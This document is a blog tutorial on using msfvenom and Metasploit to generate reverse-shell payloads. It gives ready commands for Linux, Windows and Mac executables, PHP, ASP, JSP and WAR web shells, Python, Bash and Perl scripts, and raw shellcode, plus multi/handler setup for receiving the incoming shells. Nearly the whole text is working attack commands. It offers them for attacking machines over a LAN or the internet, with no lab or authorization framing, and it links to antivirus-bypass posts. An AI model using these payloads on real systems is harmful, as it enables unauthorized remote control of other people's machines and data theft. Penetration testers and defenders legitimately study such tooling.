Exploitation

How to Create Metasploit Payload

Often one of the most useful and to the beginner underrated abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc.).

For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

1. LIST AVAILABLE PAYLOADS
msfvenom -l
2. BINARIES PAYLOADS

2.1 Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f elf > shell.elf

2.2 Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f exe > shell.exe

2.3 Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f macho > shell.macho
3. WEB PAYLOADS

3.1 PHP

msfvenom -p php/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -e php/base64 R > shell.php

Since the file has been encoded using base64, do not forget to open it using your favorite text editor and add “<?php” at the top and “?>” at the end.

3.2 ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f asp > shell.asp

3.3 JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.jsp

3.4 WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f war > shell.war
4. SCRIPTING PAYLOADS

4.1 Python

msfvenom -p cmd/unix/reverse_python LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.py

4.2 Bash

msfvenom -p cmd/unix/reverse_bash LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.sh

4.3 Perl

msfvenom -p cmd/unix/reverse_perl LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.pl
5. SHELLCODE PAYLOADS

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

5.1 Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f "LANGUAGE"

5.2 Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f "LANGUAGE"

5.3 Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f "LANGUAGE"
6. CREATE HANDLERS

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 0.0.0.0
msf exploit(multi/handler) > set PAYLOAD
msf exploit(multi/handler) > set LHOST
msf exploit(multi/handler) > set LPORT
msf exploit(multi/handler) > set ExitOnSession false
msf exploit(multi/handler) > exploit -j -z
7. LOAD CUSTOM PAYLOADS

Metasploit allow you to generate Payload and use it during an attack. To use this function, simply generate your Payload before to run your attack and once you are done, use “payload/generic/custom” to specify the Payload to use.

msfconsole
msf > use payload/generic/custom
msf payload(custom) > show options
msf payload(custom) > set PAYLOADFILE /path/to/the/payload
msf payload(custom) > set PAYLOADSTR the_payload_string_to_use

Related Posts

Bypass Antivirus Detection with Encrypted Payloads using Venom

dotweak

How to Create a Reverse Shell

dotweak

How to Use SQLmap for Beginners

dotweak

Leave a Comment

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link